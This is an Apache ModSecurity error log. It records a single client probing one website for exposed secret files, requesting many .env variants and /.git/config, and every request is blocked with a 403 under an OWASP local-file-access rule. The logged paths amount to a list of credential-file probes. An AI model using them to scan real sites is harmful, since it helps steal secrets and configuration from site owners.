[Tue Oct 27 05:23:44.802092 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBtoJKov8XCMSQ3KFeUtwAAAAs"]
[Tue Oct 27 05:23:44.802274 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBtoJKov8XCMSQ3KFeUtwAAAAs"]
[Tue Oct 27 05:23:44.802487 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auBtoJKov8XCMSQ3KFeUtwAAAAs"]
[Tue Oct 27 05:23:44.811435 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auBtoEmqTSs7laY6jMTh6AAAABc"]
[Tue Oct 27 05:23:44.811611 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auBtoEmqTSs7laY6jMTh6AAAABc"]
[Tue Oct 27 05:23:44.811892 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auBtoEmqTSs7laY6jMTh6AAAABc"]
[Tue Oct 27 05:23:44.841003 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auBtoEQFomyjz0g-y4eOrAAAAAo"]
[Tue Oct 27 05:23:44.841247 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auBtoEQFomyjz0g-y4eOrAAAAAo"]
[Tue Oct 27 05:23:44.841585 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auBtoEQFomyjz0g-y4eOrAAAAAo"]
[Tue Oct 27 05:23:44.854693 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auBtoBEnDOWBtFG5jRP6-wAAAAw"]
[Tue Oct 27 05:23:44.854898 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auBtoBEnDOWBtFG5jRP6-wAAAAw"]
[Tue Oct 27 05:23:44.855175 2026] [security2:error] [pid 3201646:tid 3201646] [client 35.240.58.49:33902] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auBtoBEnDOWBtFG5jRP6-wAAAAw"]
[Tue Oct 27 05:23:44.855656 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBtoOJWPhOgLfVxy6aSSAAAAAI"]
[Tue Oct 27 05:23:44.855816 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBtoOJWPhOgLfVxy6aSSAAAAAI"]
[Tue Oct 27 05:23:44.856096 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBtoOJWPhOgLfVxy6aSSAAAAAI"]
[Tue Oct 27 05:23:44.859830 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBtoGBUeABT7S80KTVFkQAAABY"]
[Tue Oct 27 05:23:44.859975 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBtoGBUeABT7S80KTVFkQAAABY"]
[Tue Oct 27 05:23:44.860219 2026] [security2:error] [pid 3201655:tid 3201655] [client 35.240.58.49:33920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auBtoGBUeABT7S80KTVFkQAAABY"]
[Tue Oct 27 05:23:44.863111 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBtoB6MTIKaGGLTiEIYxQAAAAc"]
[Tue Oct 27 05:23:44.863339 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBtoB6MTIKaGGLTiEIYxQAAAAc"]
[Tue Oct 27 05:23:44.863551 2026] [security2:error] [pid 3201641:tid 3201641] [client 35.240.58.49:33930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auBtoB6MTIKaGGLTiEIYxQAAAAc"]
[Tue Oct 27 05:23:44.863990 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBtoJVvqGtwGAy54pYOXgAAAA0"]
[Tue Oct 27 05:23:44.864160 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBtoJVvqGtwGAy54pYOXgAAAA0"]
[Tue Oct 27 05:23:44.864386 2026] [security2:error] [pid 3201647:tid 3201647] [client 35.240.58.49:33874] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBtoJVvqGtwGAy54pYOXgAAAA0"]
[Tue Oct 27 05:23:44.872492 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auBtoPNweTK95FG6k466nwAAABQ"]
[Tue Oct 27 05:23:44.872644 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auBtoPNweTK95FG6k466nwAAABQ"]
[Tue Oct 27 05:23:44.872879 2026] [security2:error] [pid 3201653:tid 3201653] [client 35.240.58.49:33932] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auBtoPNweTK95FG6k466nwAAABQ"]
[Tue Oct 27 05:23:44.878534 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBtoJKov8XCMSQ3KFeUuAAAAAs"]
[Tue Oct 27 05:23:44.878686 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBtoJKov8XCMSQ3KFeUuAAAAAs"]
[Tue Oct 27 05:23:44.878884 2026] [security2:error] [pid 3201645:tid 3201645] [client 35.240.58.49:33908] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBtoJKov8XCMSQ3KFeUuAAAAAs"]
[Tue Oct 27 05:23:44.887009 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auBtoEmqTSs7laY6jMTh6QAAABc"]
[Tue Oct 27 05:23:44.887178 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auBtoEmqTSs7laY6jMTh6QAAABc"]
[Tue Oct 27 05:23:44.887415 2026] [security2:error] [pid 3201656:tid 3201656] [client 35.240.58.49:33940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "auBtoEmqTSs7laY6jMTh6QAAABc"]
[Tue Oct 27 05:23:44.916986 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auBtoEQFomyjz0g-y4eOrQAAAAo"]
[Tue Oct 27 05:23:44.917228 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auBtoEQFomyjz0g-y4eOrQAAAAo"]
[Tue Oct 27 05:23:44.917521 2026] [security2:error] [pid 3175284:tid 3175284] [client 35.240.58.49:33906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auBtoEQFomyjz0g-y4eOrQAAAAo"]
[Tue Oct 27 05:23:44.932066 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBtoOJWPhOgLfVxy6aSSQAAAAI"]
[Tue Oct 27 05:23:44.932330 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBtoOJWPhOgLfVxy6aSSQAAAAI"]
[Tue Oct 27 05:23:44.932753 2026] [security2:error] [pid 3201640:tid 3201640] [client 35.240.58.49:33890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBtoOJWPhOgLfVxy6aSSQAAAAI"]
